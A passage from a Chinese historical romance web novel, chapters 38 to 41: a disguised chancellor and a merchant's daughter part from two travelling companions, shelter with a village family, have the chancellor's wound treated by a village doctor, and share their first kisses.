躺在她里侧的陆瑜却是脸色愈发阴沉,看着这个莫名殷勤的竹雨很是不爽,心里有了新的打算。
伴随着火堆噼啪的声响和山间断续的虫鸣中,陆瑜的躁动逐渐平静下来,想要思索一下白妙可今日的态度,却感觉意识逐渐昏沉,逐渐陷入了沉睡。
无人发现那燃着的火堆中莫名飘出来的一缕青烟。
竹雨拿出手帕仔细擦拭了手上残留的安神香,顺手将其丢进火堆。
这才站起身来,不疾不徐地往沉睡中的三人走去。
长腿越过睡姿安详的阿灵,他蹲到睡得七扭八歪的白妙可身边。
只见少女长长的睫毛在瓷白的肌肤上投下细密的阴影,不知梦见了什么,嘴角挂着轻微的弧度,似是浅笑。
竹雨从袖中取出一卷巴掌大的画轴,缓缓展开。
画上是两位女子,一位正在花丛中翩翩起舞,巧笑倩兮,好不肆意;另一位端坐旁边,温婉恬静,笑意盈盈。
这是他的两个姨母,一位心甘情愿自入牢笼郁郁而终,一位流离在外多年杳无音信。
他带着阿灵此行出来的目的便是寻找流离在外的姨母,却遍寻不见。
竹雨本以为仅凭一幅画像,天南海北找人,无异于大海捞针。没想到会在船上遇到这么一位女子。
她长得同画中的人有八分相似,尤其是那灵动明媚的双眸,竹雨几乎可以确定她是那位姨母的女儿,也就是自己的表妹。
他静静看着白妙可压在身下的匕首,不知她是经历了多少磨难才会连睡觉都如此警觉,心头不禁对这位表妹浮上怜惜。
结果这种情绪还没维持太久,便有一记勾拳袭来,竹雨连忙后退才勉强避开,那拳头落在地上,发出砰的响声。
竹雨屏住呼吸定定看着白妙可毫无所觉的睡颜,观察了一会儿她均匀规律的呼吸,才确信她只是睡相太差。
但是这也太差了吧……这一拳若是打到身上,起码得青紫一段时间,他有些许同情地看了眼最里侧连翻身都费劲的男人。
也是这么一番动作,一块玉佩从少女领口滑出,在微弱的火光下散发着温润的光泽。
竹雨心头一震,重新展开手中画卷,视线凝结在花丛中翩飞少女腰间的玉佩上。
同眼前这枚一样,是一朵栀子花的样式。
没错了,这女子便是自己的表妹,找到了她,何愁找不到自己的姨母。
此事确定,竹雨打量起这位妹夫,看起来便是手无缚鸡之力的书生,不知他除了一张脸以外还有什么地方吸引了自家表妹。
无奈地摇摇头,他暗暗思索等带着表妹回家以后再为她寻个更好的夫君才对。
然后起身回到火堆旁,直至天亮。
38. 分道扬镳
第二日,竹雨想找个机会单独同白妙可说一下自己的真实身份,顺便问问姨母的事情,却一直没找到机会。
他说要同白妙可去找些吃食,她的夫君喊着伤口痛拖着不让她去。
他叫阿灵去给表妹的废物夫君换药,自己想趁机和白妙可聊一会儿,结果她那夫君又白着一张脸拉着她的手不放。
想方设法一上午都没找到跟表妹单独相处的机会,竹雨那张时常挂着笑的脸都变得越来越黑。
倒是陆瑜那张因为受伤而过分白净的脸上多了几分如沐春风。
临近晌午,白妙可提议大家分头去探路。
“一直待在这儿的确不是办法,我与你一起。”竹雨立即接话,这可是绝佳的认亲机会。
白妙可还未来得及做出回应,又听见陆瑜开口。
“娘子,我这伤口还疼得很,走路仍需娘子搀扶。”
竹雨火大:“伤口疼你就别去了,在这儿等着呗。”
白妙可也觉得是这么个道理,刚想点头却看见陆瑜落寞失落的眼神死死盯着自己,转头想了想,让他自己在这儿确实也不安全。
于是白妙可妥协道:“我们两两一组效率比较高,我还是扶着我夫君吧。”
话音刚落,她那位走路“费劲”的夫君便已经三步并作两步走上前挽住了她的胳膊。
竹雨嘴角抽了抽,现在已十分确认自己这表妹是被这男人虚伪的外表给蒙骗了,这就是个心机颇深的绿茶男,他在心中将这男人骂了又骂。尽管心中愤愤不平,他现在还没法同表妹说这些,只能另找机会了。
他还不知道的是,别说另找机会了,就此一别,人都找不见了。
因为两组人一分开,陆瑜便直接为白妙可指了一条去最近村庄的小路。
“你怎么知道路?”白妙可有些诧异。
“在从京城出发之前我便将沿途可能经过的所有路线都记住了。”陆瑜语气平淡,仿佛此事如同喝水吃饭一般简单。
路痴白妙可却对此很是敬佩,她早就听过丞相有过目不忘的本领,没想到连记路都这般厉害。
她又犹豫说:“那竹雨他们?”
听见她还惦记着别的男人,陆瑜刚刚翘起的唇角又落了回去,安慰自己道:不怪可儿,都怪那诡计多端的男人,不过以后也不会再见面了。
思及此,他才收起心中的阴郁,开口说道:“他们二人来历不明,本就不该同路,正好趁机分道扬镳。”
说罢又担心白妙可觉得自己太过无情,补充了一句,“待事情解决再寻他们送些谢礼,偿还此次的救治之恩。”
白妙可点点头,觉得陆瑜难得同自己想到一处了,纵使这两人近几日帮了他们许多,但是种种巧合终归很是可疑,就此别过是最好的。
达成一致,两人也进了小小的村落。
路旁的农田中有几人正在收庄稼,田埂上有一群孩童在追逐打闹,看见他们两个外乡人经过,纷纷投来好奇的目光。
白妙可低声问:“这是什么村啊?”
“牛家村。”
“那我们住哪儿啊,他这看起来也不像有客栈的样子。”并不是白妙可瞧不起这儿,而是村子里三三两两错落立着的几间农舍几乎可以一眼望到头。
哪有什么客栈的影子。
听见这个问题,陆瑜也有些愣住了,他也没想到这个村庄如此的……淳朴。
他想了想才开口说:“只能找个人家借住一晚了。”
“只能这样了。”白妙可点头,说罢就同一位提着一桶衣服的农妇搭讪。
“大姐,我跟我夫君要去镇上探亲,今日能否借住一晚?”
那妇人看着两人身上皆是上好的绸缎衣料,只是衣服上那洗都洗不去的血迹甚是骇人,看得她脸色一白,连连摆手,生怕惹上麻烦。
“大姐,我们可以给钱,就借住一晚,明早便走。”白妙可看出了妇人脸上的为难和犹豫,却并未意识到是自己和陆瑜身上沾染的血迹吓到了她。
听见他们给钱,那妇人也只是犹豫了片刻便拒绝了:“妹子,俺家实在没有多余的地方住,你们再问问别人吧。”
说罢便提着篮子快步离开了。
出师不利,白妙可也并未泄气,又拉着陆瑜问了几个路边劳作的村民,却都是得到了拒绝的回复。
这下她是真的犯了难。
“是我们身上这些血迹的原因。”陆瑜开口说。
白妙可恍然,她见惯了血腥,不以为身上沾了点儿血迹有什么问题,却忘了这些在农田里劳作一辈子的农民可能从未见过这种阵仗。
她有些为难:“这衣服洗过了,实在洗不干净了,难道要先去买个衣服才能有地方住吗?”
“不用。”陆瑜伸手将白妙可今早在就着水边打理的一丝不苟的头发扯乱了两缕,又揉了揉她的眼睛,直至少女眼眶泛红才收手。
“走吧,听我的。”
白妙可有些不懂他想做什么,但是还是配合他继续往村庄里面走去。
两人没走都就碰见了一户人家敞开着大门,一位三四十岁的妇人坐在院中择菜,看见他们经过便有些好奇的打量。
陆瑜牵着白妙可停在他们敞开的院门外,礼貌地在门板上敲了两下才开口问:“你好,我与夫人探亲路上遭遇了山匪,好不容易逃出来,实在无处可去了,不知能否借住一晚。”
一听这话,白妙可便懂了他的意思,配合地做出一副受了惊吓的模样,拿袖口掩面抹着不存在的眼泪。
那妇人见着两人这一身的血污还有女子凌乱的头发,同为女人,难免心生同情,开口说道:“二位等等,我去问问当家的。”
“应该的。”陆瑜颔首。
便见那妇人放下手中的活计转身进了屋。
两人等在门口,白妙可忍不住开口问:“她会让我们借住吗?”
“会的。”陆瑜答道。
“可是她应该得听她男人的吧,万一他不同意呢?”白妙可不知他为何这么笃定。
“在这种平民百姓家里,男子说是当家的,实际上家里一般是女人说了算。”
“这说法倒是第一次听,这么看当个普通村落中的平民夫妻也挺好。”白妙可感慨。
陆瑜偏头若有所思地看了她一眼。
两人交谈的功夫,那妇人同她的丈夫从屋中走了出来。
“我媳妇已经说了你们的事儿,要是不嫌弃的话你
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们可以在西屋住下。”男人穿着粗布衣裳,袖子挽起,能看出很是健硕。
“我们感谢收留还来不及呢,怎么会嫌弃呢。”陆瑜拱手道。
白妙可没有出声,只是不动声色的打量了一圈男人一身的腱子肉和虎口处的老茧。
此事说定,妇人便将两人带到了西屋。
这间西屋中推门便是一张土炕,一个有些年代的灰扑扑的柜子,在门后的角落还堆着一些铁锨铁铲之类的农具。
妇人有些不好意思的搓了搓手,从柜子中抱出一套被褥,大红鸳鸯的被面洗的有些发白,但是却散发着清新的皂角香。
“这被褥是前些天刚洗过的,都是干净的,你们别嫌弃。”妇人将被褥放在床上,还想动手替他们铺好。
白妙可赶忙接手,“大姐,我来就行,真是多谢你了。”
妇人这才收手,又叮嘱了几句不用客气晚上想吃什么之类的客套话,才退出房间,还不忘给小两口带上了房门。
只有一床被褥便意味着两人晚上势必得睡在一起了,白妙可有些不好意思的抿了抿嘴唇,将手里抱着的被褥放到了炕上,却是有些不知该怎么开始。
从小被娇宠养大的首富大小姐,很多事情她都从未做过,比如铺床。
她犹豫的片刻,靠在一侧的陆瑜撑着炕沿站了起来:“我来吧。”
白妙可看了看他那走了一路又开始隐隐透出血迹的伤口,摆了摆手道:“你还是坐着吧,你跟我说怎么铺就成。”
陆瑜也没再逞强,重新捂着伤口坐下,指了指其中一床被子:“这个铺在最下面,另一个是夜里盖得,便不用管了。”
言简意赅,白妙可了然,但是铺出来却是皱皱巴巴,勉强能睡吧只能说,
好不容易收拾好,白妙可摊在了刚铺好的被褥上,恨不得立刻睡去。
但是天都没黑呢,她突然想起来了什么,开口问:“对了,你身上有钱吗?”
“没有,都在富贵那儿。”陆瑜语气平淡。
“那完了,我身上就只有十两银子,这哪儿够啊?”白妙可有些懊恼没多带些现银,她倒是有白家钱庄的信物,想取多少出来都行,但是这村镇上哪里有什么钱庄啊。
“够了的。”陆丞相显然更懂底层民生和物价,淡定开口。
白妙可撇撇嘴,知道便是够了,在脱困之前也是要省吃俭用才行了。
思及此,她又有些想念春杏了:“不知春杏他们怎么样了?他们的目标是你,你不见了,应当也不会难为其余的人吧?”
陆瑜沉默半晌才说道:“你的丫鬟肯定没事,但是富贵他们就不好说了,严刑逼供都是好的了。”
白妙可想起那几个少言寡语的侍卫,虽然没有相处几天,也觉得有些替他们可惜。
她坐到陆瑜身旁,安抚地拍了拍他的后背,两人静默坐了半晌。
直到暮色四沉,本就采光不好的房间内很快便黑了下来,昏暗地勉强只能看到对方的脸。
白妙可在黑暗中同陆瑜定定对视,氛围一时有些暧昧,不知是谁先靠近,两人的距离越来越近。
一人偏头,一人倾身,四目相对又缓缓闭上,呼吸交错间柔软的嘴唇近在咫尺。
39. 蜻蜓点水
就在这干柴烈火的瞬间,门外却传来突兀的拍门声。
“妹子,饭做好了,快跟你男人出来吃饭吧。”妇人在隔着门板说。
差点便能一亲芳泽却被倏然打断的陆瑜脸色有些阴沉,看着白妙可退远的身影眸色沉沉,向来喜怒不形于色的权臣就差把不高兴写在脸上了
白妙可朝着外面应了一声:“好,我们这就来。”
想要起身却被身旁的男人抓住了手臂。
白妙可有些好笑地看着男人执拗的眼神,她本来能够轻而易举地挣脱开他,但是对着这如玉的病美人,她选择了从心。
便见女子倾身靠近,几缕长发散下,隐约遮住了那一触即分的蜻蜓点水。
得偿所愿的陆丞相此时却像个被调戏的小媳妇一般瞬间红透了整张脸,他未曾想到白妙可会主动继续这个吻,虽然很是短暂,但是他却清楚觉得自己的心为此而叫嚣战栗,想要继续加深,不断深入。
反观真正的小媳妇却是回味般舔了舔嘴唇,仿佛有些意犹未尽。
本朝本就民风开放,男女之间讲究一个情投意合即可。白妙可虽然对此没什么经验,但是她本来也不是什么贞洁烈女,难得有个看上眼的俊秀郎君,吃干抹净才不亏本。
她嘿嘿笑了笑,见陆瑜还抓着自己的胳膊,干脆就这么一用力,将人带着站了起来。
陆瑜仿佛刚回过神来,那双深不见底的眸子如黑潭般锁定了少女娇俏的面容,又移到那刚刚有片刻停留的红润嘴唇,仿佛是猎豹盯上了自己的猎物一般,占有欲十足。
白妙可没注意到他眸中的执念,拉着他往外走:“走吧夫君,该吃饭了。”
推门便发现这家那健硕的男人单手拎着一张桌子放在院中,木头的桌子看上去有些年头了,但是擦得很是干净。
女人正从东边的灶台中往外盛菜,桌上已经摆了几个碗。
白妙可主动走过去帮忙,走近才发现锅中是各种绿叶菜和糙米混在一起熬的粥,妇人已经从锅底捞了两碗料最多的放在灶台上。
“这是给你俩的,快端过去吧。”
纵使这粥看起来实在卖相一般,但也是人家的一片心意,白妙可还是感激地笑笑,端着两碗装的满满当当的粥走回桌旁。
那妇人又朝着院墙外喊了一嗓子:“二丫,快回来吃饭啦!”
没多会儿便有一个梳着两个丸子头的小姑娘跑了回来,蹦蹦跳跳的脚步在看见家中多出来的两个客人的时候停了下来。
怯怯地喊了声:“爹,娘。”
“快来吃饭,家里来了两个客人,你就喊……”妇人停住了话语,突然意识到还不知这两人的姓名。
陆瑜主动开口:“鄙人名唤陆白,是个秀才。”
白妙可坐在陆瑜身边,有些诧异地偏头,没想到他起了个这样的名字。
那妇人便招呼女儿在身边坐下,说道:“原来是陆秀才和陆娘子,我男人叫张大壮,你们叫我张姐便是。”
陆瑜微笑颔首,一勺一勺地喝着碗里寡淡无味的菜粥。
白妙可却有些难以下咽,但是这也是人家的一片心意,她又不好明说,只是有一下没一下的搅着碗里的粥,却是没喝进去几口。
陆瑜似乎是心有所感,喝完自己的那份,有伸手将白妙可碗里剩的大半接了过来。
白妙可感激地看了他一眼。
这农家男人不知是不是看出了什么,黝黑的脸上挂上一个憨厚的笑,有些不好意思的说到:“今日没去打猎,家里只有这些菜了,你们将就对付两口,俺明日打个兔子回来加餐。”
妇人心疼又自豪地看着自家男人,也对着白妙可两人点了点头。
“敢问壮士如何打猎?”陆瑜问。
“用弓,配上铁匠打的箭。”男人答。
白妙可同陆瑜对视一眼,两人不约而同地想到了在船上碰见的那飞针的弩箭。
“兄弟,家中可有纸笔?我替你画个图纸,你找个木匠做个弩箭吧,方便你打猎。”陆瑜开口。
于是吃完一顿寡淡无味的粗茶淡饭,男人拿出呲了毛的毛笔,还有几张泛黄的粗糙宣纸放在院中的石桌上。
就着昏黄的烛火,陆瑜三五下便画出了弩箭的构造图,白妙可在一旁啧啧称奇。
弩箭她自然是会用的,却是从未留意过它的构造,没想到陆瑜这种文人反而对此很是了解。
她小声问:“你如何知道弩箭的构造的?”
“在书上看见过。”陆瑜回答,各类书籍他都有所涉猎,过目不忘的本领也在此时起了作用。
白妙可有些佩服地点了点头。
将图纸给了那男人,他接过手中便是连连赞叹,说要明日便去找村头的木匠。
妇人从屋中拿出两套衣服递给白妙可:“这是我俩年初新做的衣裳,还没上身呢,快把身上这身换了吧,我去烧些热水你们洗洗。”
白妙可笑着接过,“多谢您啦,在哪里烧水?我去帮您。”
妇人却连连摆手,你夫君的伤口还流血呢,你快好好照顾他吧,水都是现成的,添两把柴的事罢了。
白妙可愣了愣才看向陆瑜的胸口,那里果然又在渗血。
她方才居然没注意到,忙将人扶着到炕上坐下,“怎么又流血了,疼吗?脱了我看看伤口。”
看着女子眼中的焦急,陆瑜还是强装镇定将上衣褪了下来。
早上刚刚包扎好的布料上沾满了血迹,还有继续往外冒血的趋势,白妙可眉头紧蹙,摸了摸怀中的十两银子。
“你等着,我去给你找点儿药。”只留下这么一句话便出门去了。
走到东屋果然看见妇人正在灶台前生火烧水,她的女儿坐在旁边就着火光在看一本有些破烂的书。
“大姐,我夫君的伤口一直流血不止,不知村里有没有大夫能帮忙看一下。”
“啊有的有的,村头有个老王头是个大夫,村里人头痛脑热的都去找他。”妇人听见流血也有些紧张。
“就是,我们身上目前就十两银子,不知够不够。”白妙可地挠了挠头,这家人明显也不是富裕人家,她实在不好意思开口借钱。
听见白妙可的话,妇人愣了愣才说:“村里看病那里要这么多钱,普通的头疼脑热给几个铜板也就够了,你们若是去镇上也是用不了这么多的。”
白妙可松了口气:几个铜板?这么便宜吗……
她接着说道:“那大姐能不能带我去找一下王大夫
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妇人看了看灶台上的火,指了指坐在一旁的闺女道:“二丫,你陪着这位姐姐去村头找王伯伯吧。”
白妙可也顺着她的手指看向那个十岁左右的小女孩,长着包子脸的小女孩点了点头,站起来将手中的书小心翼翼地放在了小板凳上。
这么小的孩子知道路吗?白妙可很是怀疑,但是还是牵起她肉乎乎的小手走了。
走在村里的小道上,白妙可第一次跟小孩相处,她想了想问道:“二丫,你方才看得什么书?”
“论语。”小女孩回答。
“哇,你这么小就认得这么多字了,真厉害。”白妙可知道很多穷人家是不会让女孩认字的,于是由衷夸奖道。
“姐姐,你认识多少字?我有许多字不认得,可以问你吗?”小女孩的小脸有些红扑扑的。
“可以啊,我应该能认识的,就算有不认识的,你也可以问我夫君,就没有他不认识的字。”白妙可替陆瑜夸下了海口,语气中不自觉带了些自豪。
小女孩果然露出一副崇拜的神情:“姐姐,那你们能多住几天吗?”
白妙可想了想陆瑜的伤势,摸了摸小姑娘的头,说道:“看我夫君的伤势如何吧,你平时跟着谁学认字?”
小女孩羞红了脸:“村上的徐秀才有时候会开学堂,我去听过几次。”
白妙可对她笑笑,“好学不丢人,女子也要多些学问才能懂得更多道理。”
小女孩似懂非懂的点点头。
两人边走边聊,很快便到了村头一间屋舍门前。
“就是这家吗?”
二丫点了点头。
白妙可便上前扣门,敲了好几下才有一个头发半花,还缺了一颗门牙的老头前来开门。
“敲什么敲?”老头不耐烦声音在开门看见白妙可的瞬间停住。
“小娘子不是村里的吧?有何事?”老头捋了捋胡须说道。
“我夫君受伤了,想请您去看看。”白妙可开口说。
“什么伤?我出诊可是要收费的。”那老头打量了一圈白妙可。
“刀伤,能不能治?”白妙可有些着急了,语气多了几分不耐烦,不想在这里跟他浪费时间,要不是还有孩子在,她都要提着这人回去了。
老头还在那里犹犹豫豫想要继续讨价还价。
白妙可忍无可忍,直接伸手抓住了这老头枯瘦的手腕,一个用力便将人从门里拽了出来,“有钱给你,快跟我走。”
老头被她抓的生疼,求饶般急忙说:“我去,我去还不行吗,等我拿上药箱。”
“我跟你去拿,多带些止血药。”白妙可直接押着人进屋。
“好好好。”这老大夫听见还要多些止血药才知道这女子跟她男人恐怕不是什么简单任务,也没了多余的废话,一路上都很是安静。
没多久几人便回了借住的小院。
白妙可将人领到西屋门口,敲了两声门,屋内却没有任何回应,她直接伸手将门推开。
只见屋内一片漆黑,炕上隐约可见躺着一个人,却是一动不动。
白妙可心头一跳,顾不上点灯便三步并作两步走上前去,想去探躺在炕上的陆瑜的鼻息,伸出的手微微颤抖。
40. 意犹未尽
感受到均匀的呼吸落在指尖,白妙可才缓缓吐出一口气,走到桌前将蜡烛点燃,瞥了一眼还立在门口的老头。
老大夫立刻上前,看着胸口染血的男人,眉头皱成了一个川字。
“快给我夫君看看,他的伤口需要换药止血。”白妙可说道。
老大夫刚要伸手去把脉,床上的男人猛的睁开了眼睛,锐利的双眸戒备地盯着他,让他莫名感到心慌,不自觉地想要逃离男人的视线。
“你是谁?”男人略带沙哑的嗓音传来。
未等战战兢兢的老大夫回答,白妙可惊喜地拉起他的手:“你醒了,这是我请来的大夫,让他给你看看伤口。”
看见白妙可,床上躺着男人的神色骤然缓和下来,又恢复了那病弱模样,乖顺地点了点头。
旁边被“请”来的老大夫嘴角抽了抽,在白妙可催促的目光下颤着手把脉。
他的医术只能算是三脚猫功夫,平日看个头痛脑热之类的小毛病还可以,但是这样的伤势还是第一次见。
就见他颤巍巍地把了半天脉才收手,也不知有没有看出个所以然来,那布满褶子的脸上有些讪讪不安。
“呃……这位郎君许是由于失血过多引起的高热,呃,还有些体虚……嗯……需要好好静养。”他磕磕巴巴地说。
病人本人没什么反应,白妙可却是眉头一蹙:“你是不是糊弄我呢?你说的这些不都是废话吗!”
老大夫连连摆手,脊背弯得更低了,嗫嚅着开口:“我不是有意的,实在是小老儿学艺不精,多的也看不出来了。”
“二位贵人不若去镇上的大医馆去看看。”
“他这流血不止怎么去镇上?劳烦您先开两幅退热的药,再为他止血包扎吧。”白妙可深吸一口气,压下心中的焦躁说。
“哎,哎,好,我先用些止血的外伤药试试。”老大夫将陆瑜胸口染血的布料揭开露出里面的伤口,不禁倒吸一口凉气。
那狰狞的伤口被人用线强行缝合在一起,但是仍然不断有血从伤口处溢出,大片的血迹触目惊心。
他从破旧的药箱中取出一些粗糙的药粉,在旁边女主灼灼的目光中,小心翼翼地将药粉撒到那血肉模糊的伤口上。
立刻便看见男子身体抑制不住地抖了一下,豆大的汗珠顺着额角落下,经过青筋暴起的颈侧流过线条流畅的胸膛,没入晦暗。
白妙可想象不出这么劣质的药粉撒在伤口上该是多疼,但是陆瑜却咬紧了牙关未出一声。
白妙可忍不住握紧了他的手,轻轻摩挲着他手背上突出的青色血管,带着些安抚。
一盏茶的功夫,老大夫终于完成了上药和包扎,有些紧张地擦了擦额头的汗,看起来有些犹豫。
白妙可从怀中摸出一块碎银给他,接着说:“再开些退热的药来。”
老大夫看着手里的碎银眼神放光,这都够他替村里人看诊不知多少次了,没想到这两位脾气不好的贵人出手倒是阔绰,他感恩戴德地收好银子,满口答应:“我这便回去抓药给您送过来。”
白妙可点点头,示意他快些去。
她摸了摸陆瑜滚烫的额头,“好烫,你现在感觉怎么样?”
“你在担心我?”陆瑜不太在意自己的伤,反而更关心白妙可对自己的态度。
“对啊,明日我们去镇上看看,你的伤拖不得。”白妙可没注意到男人微微扬起的唇角,还在自顾自计划着给他治伤的事情。
“好,都听你的。”陆瑜盯着女子开合的嘴唇,记起了那柔软的感觉,有些心不在焉地答应着。
白妙可又去厨房将已经烧好的热水提到了屋中。
“你想自己洗还是我帮你?”白妙可拿着张姐准备的一条毛巾问道,语气真诚关切,完全看不出来她已经在心中将人扒光了上下其手了。
“我,我自己来便可。”陆瑜一句话说得有些不利索。
哎,丞相大人怎么会这么纯情!白妙可心中叹息,却还是将手里的毛巾递了过去。
接着便杵在原地等着陆瑜自己动手。
男人从炕上慢慢下来,努力不去注意一旁那灼灼的目光,将上衣褪下露出上半身,接下来的手却放在腰带上迟疑不动了。
“要不你……”他犹豫着说。两人还未成亲,他不想唐突了白妙可。
“哈哈哈哈,好,我去院中等那大夫送药来。”白妙可被他的模样逗笑,那笑声如银铃一般回响在小小的房间中。
笑够了她才推门出去,隔绝了屋内的春光和水声。
她坐在院中听着远处传来几声蛙鸣,正百无聊赖的时候看见主屋的门吱呀一声推开,一个小小的脑袋探了出来。
是二丫出来了,她睁着圆溜溜的眼睛看向院中的白妙可。
白妙可朝她温柔笑笑,接着招手让她过来玩儿。
小女孩便哒哒地跑了过来,坐在白妙可旁边的石凳上,小声问:“姐姐,你在做什么?”
“我在等着大夫送药回来呢。”
“姐姐,那位大哥哥受伤了吗?”小女孩问。
“对啊,他受了很重的伤呢。”
“他为什么会受伤啊。”小孩子总是有许多问题。
白妙可想起水里陆瑜将自己揽进怀中替自己挡刀的一幕,轻声说:“是为了我。”
小女孩似懂非懂地点了点头,伸出胖乎乎的小手拍了拍白妙可的后背:“姐姐别内疚,吃药药会好的。”
白妙可觉得自己其实并不是内疚,而且一种更为奇妙的感受,就是得知一个人愿意为自己牺牲性命的感动和惊讶。
他真的有这么爱自己吗?这份爱又是为什么呢?这是白妙可不知第几次在心里问自己。
身旁的小女孩看着她思考的样子小声说了句:“姐姐你真好看,是我见过最好看的人。”
“那你喜欢姐姐吗?”白妙可笑眯眯地摸了摸她的头,突然想到一个可能,她长得很是不错,会不会陆瑜也是看上了自己的脸。
“喜欢,姐姐可以多住几天吗?”二丫声音软糯。
白妙可回神,犹豫片刻说:“那得看我夫君的身体了。”
恰在此时,门外响起了敲门声,“我来送药了。”
白妙可还未起身,二丫便小跑着过去开门接过药来,还脆生生道了声谢。
二丫跑到厨房,从角落翻出一个陶罐,说道:“姐姐我帮你煎药。”
白妙可很是惊奇,她长这么大都不会煎药呢,“你会煎药吗?这么棒!”
小女孩手脚利落地将药放进
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陶罐,拿着一把比她的脸还大的蒲扇轻轻扇着灶台中的火。
白妙可在她旁边坐下,被她认真的模样逗笑。拿起她之前看的那本论语,笑着问:“那你帮我煎药,我替你念书怎么样?”
“好呀好呀!”二丫喜笑颜开道。
于是郎朗念书声和柴火噼啪声在小小的灶台旁营造出一种和谐的氛围。
药煮好了,张姐也出来哄着二丫回去睡觉了,白妙可自己将一碗黑乎乎的汤药端回房内。
陆瑜看起来已经擦洗完毕,正躺在炕上闭目养神,听见开门声便要坐起来。
白妙可一手端着药碗一手扶了他一把,接着坐到了他身边,又自然而然地摸了摸他依旧滚烫的额头。
“喝药吧。”白妙可将那碗闻着便苦得很的汤药举到他的嘴边。
陆瑜因为她亲昵又自然的动作心中升起些欣喜,看见递到嘴边的药,又是一阵感动,就着她的手喝了一口药。
咳咳咳,就这一口,他没忍住咳嗽了半天,实在是这药又苦又烫。
白妙可以为他被呛到了,拍拍他的后背说:“这药闻着有些苦,你不如大口喝完还好点儿。”
陆瑜觉得她说得有些道理,“我自己来吧。”便将碗接过一口饮尽,顿时觉得舌头都麻了,太苦了。
白妙可好笑地看着他紧蹙的眉头,想起来他之前非要自己喝药的情形,莫名有些解气,但还是接了杯水给他漱口:“我以前吃完药都是要吃些甜东西的,这里没有,喝口水将就一下吧。”
看出了她的坏心眼,陆瑜无奈又宠溺,突然也有了个大胆的想法。
“谁说这里没有甜的。”
说罢在白妙可疑惑的神情中将人一把拉进怀中。
四目相对间,他眼神问询没有收到否定的答案后,便俯身衔住了那想了许久的唇,他一只手扣着白妙可的头不让她退缩,另一只手搂着她的腰身,灼热滚烫。
经过最初的浅尝辄止,他逐渐发起攻势,侵略性十足的撬开贝齿,攻城略地,唇舌勾缠的时候,白妙可被他口中的苦涩刺激得打了个激灵,迷离的神智逐渐恢复。
她这才意识到他还存着这般坏心眼,喝完药故意不喝水来亲自己。
于是她变被动为主动,一双灵巧的舌头勾得陆瑜不断追逐,在他以为即将到手的时候,白妙可咬了下去。
陆瑜的唇角便多了一抹嫣红,他才意犹未尽地舔了舔嘴唇,苍白的脸色衬得唇上的血珠更加明显,明明是清冷疏离的权臣,此刻却多了几分邪魅妖艳。
“你疯啦?也不怕又撕裂伤口。”白妙可报复完以后将人推开,看着他不思悔改的模样,心里有些恼火,好像自己咬他那一口,不是惩罚报复,反而是对他的嘉奖。
“太苦了。”陆瑜低垂着眼眸,敛去那深邃眼眸中的波涛汹涌,反而让自己看起来可怜兮兮。
愣了一下,白妙可才反应过来他说的是那碗药,她后知后觉的品味了一下,才觉得自己口中也被染上了苦味。
她皱了皱眉,还想在说些什么,却在看见陆瑜那破碎美人模样的时候咽了回去。
端起那杯已经温凉的水喝了一口,又递给旁边不知在想着什么的男人,在心里默念:他是伤员,他是病人,摒弃杂念,清心寡欲!
41. 特殊癖好
翌日清晨,朝阳洒进院中,未散尽的雾气弥漫在空气中,给整个世界镀上一层名为浪漫的滤镜。
这间古朴的农家小院中响起几声鸡鸣,宣告一天的开始。
小院西屋中也有阳光透过简陋的窗帘透进来,落在炕上依旧闭眼好眠的白妙可身上,但是她旁边的男人就没有这般好眠了。
他单知道有人睡觉不老实,却是第一次见这么不老实的。
……
昨夜两人折腾了一通以后,并排躺在炕上,某人信誓旦旦要他先睡,她要保护自己。
躺在床上,陆瑜心中还在为方才那个激烈的吻而砰砰悸动,他将注意力集中在疼痛的伤口上才逐渐平复另一处不听话的地方。
想到名节对于女子来说至关重要,自己既是亲了她,两人也已经同炕共枕了,合该负起责任。
他缓缓呼出一口气,在黑夜中睁开眼睛,语气郑重许下承诺:“待我们回京,便成婚吧。”
这句话仿佛在寂静的房间中久久回响,如同夏夜惊雷,又似细雨绵绵很快消散在空气中,悄无声息。
陆瑜不知屏息等待了多久,房内依旧是一片寂静,没有任何回应。
正当陆瑜一颗滚烫的心沉入海底,即将被冰凉的海水刺透,被深不见底的深海压得喘不过气的时候,身旁传来了女子微弱的声音。
“休想。”
声音虽小,但是在寂静无声的深夜还是清晰的传入了陆瑜的耳朵,他感觉心中顿时苦涩无比,比之前的药还要苦,苦得他眼眶有些发红。
他用力眨了眨眼睛,一时之间不知该再说些什么来缓解自己被始乱终弃的难过。
“伤害他。”女子依旧声若蚊蝇,在陆瑜听来却如罄音灌顶,将他从溺毙的边缘拉了上来,重见光明。
她居然是在梦呓,还是在说“休想伤害他”。
陆瑜瞬间仿佛冰雪消融,心中暗暗猜测她说的会不会是自己,很想问问她,却又不想打扰她的好眠。
轻易又被哄好的丞相大人对着身边熟睡的女子弯了弯唇角,透过黑暗用目光细细描摹女子的眉眼,仿佛要将人刻入骨髓。
在静谧的夜晚,深情又缱绻。
直到一个巴掌扇了过来,沉浸在自己的成婚计划中的陆瑜一时不察,便被扇了个正着,左半边脸上顿时火辣辣的疼了起来。
莫非是自己的想法被她看出来了?
陆大人捂着脸委屈又小心地看了半天,女子依旧毫无反应,呼吸均匀又绵长。
连睡觉都这般不老实,真是活力又可爱,陆瑜依旧眉眼温柔。
直到左边手臂又挨了一拳,小腿也被踢了一脚,他终于意识到事情的严重性:这睡相也太差了!
于是一早起来的陆丞相不仅顶着两个黑眼圈,那张俊秀的脸上还有一个清晰的巴掌印。
白妙可一觉醒来就对上了身侧男人幽怨的眼神,她吓了一跳,径直坐起身来警惕的环视了一圈房间。
没有发现任何异常。
“有人打你了?谁打的你?”似乎是意识到了什么,她问话的声音却来越小,到最后几乎如同蚊吟。
结果陆瑜依旧是那副委屈又可怜的神情看着自己,脸上的巴掌印又给他平添了几分哀怨。
心中猜想得到确认,白妙可有些生无可恋,自己第一次跟男人睡觉,居然就给人打了……
还打了脸!天呐,她此时恨不得找个地缝钻进去。
“对,对不起,我昨天晚上好像是做梦了。”
“要不下次我们还是分开睡。”
“其实你可以直接把我叫醒的。”白妙可有些语无伦次地为自己辩解。
“什么梦?”陆瑜却问了一个她意料之外的问题。
“啊?什么?”白妙可没反应过来。
“我说你昨夜做的什么梦。”陆瑜耐心解释,一双眸子低垂着看向别处,似乎只是随口一问,嘴角却紧张得绷紧。
“奥,我梦到了我们又被追杀了,所以就……”白妙可有些不好意思地低头理了理睡得有些乱的头发。
却不经意看见了男人好像翘起了唇角。
“无事。”陆瑜的语气平淡,似乎不打算计较了。
白妙可内心十分困惑:怎么感觉他还挺高兴的?他不会有些特殊癖好,喜欢被打吧??
